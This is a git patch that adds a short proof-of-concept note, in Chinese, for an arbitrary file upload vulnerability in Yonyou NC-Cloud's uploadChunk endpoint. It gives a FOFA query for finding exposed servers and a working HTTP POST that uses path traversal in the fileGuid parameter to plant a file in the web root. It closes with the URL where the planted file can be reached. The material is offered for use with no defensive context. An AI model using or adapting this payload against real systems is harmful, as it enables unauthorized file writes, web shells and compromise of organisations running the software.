From 6a669f6568a792a6b2480c1de2c192492f615a1b Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sat, 21 Oct 2023 10:42:15 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BNC-Cloud=20uploadChu?=
 =?UTF-8?q?nk=20=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0?=
 =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 用友NC-Cloud uploadChunk 任意文件上传漏洞.md | 21 ++++++++++++++++++++
 1 file changed, 21 insertions(+)
 create mode 100644 用友NC-Cloud uploadChunk 任意文件上传漏洞.md

diff --git a/用友NC-Cloud uploadChunk 任意文件上传漏洞.md b/用友NC-Cloud uploadChunk 任意文件上传漏洞.md
new file mode 100644
index 0000000..4894175
--- /dev/null
+++ b/用友NC-Cloud uploadChunk 任意文件上传漏洞.md	
@@ -0,0 +1,21 @@
+## 用友NC-Cloud uploadChunk 任意文件上传漏洞
+
+## fofa
+```
+app="用友-NC-Cloud"
+```
+
+
+## POC
+```
+POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
+Host: {{Hostname}}
+Content-Type: multipart/form-data;
+Content-Disposition: form-data; name="file"; filename="test.txt"
+{{randstr}}
+--024ff46f71634a1c9bf8ec5820c26fa9--
+
+```
+
+文件上传路径访问
+/nccloud/test.txt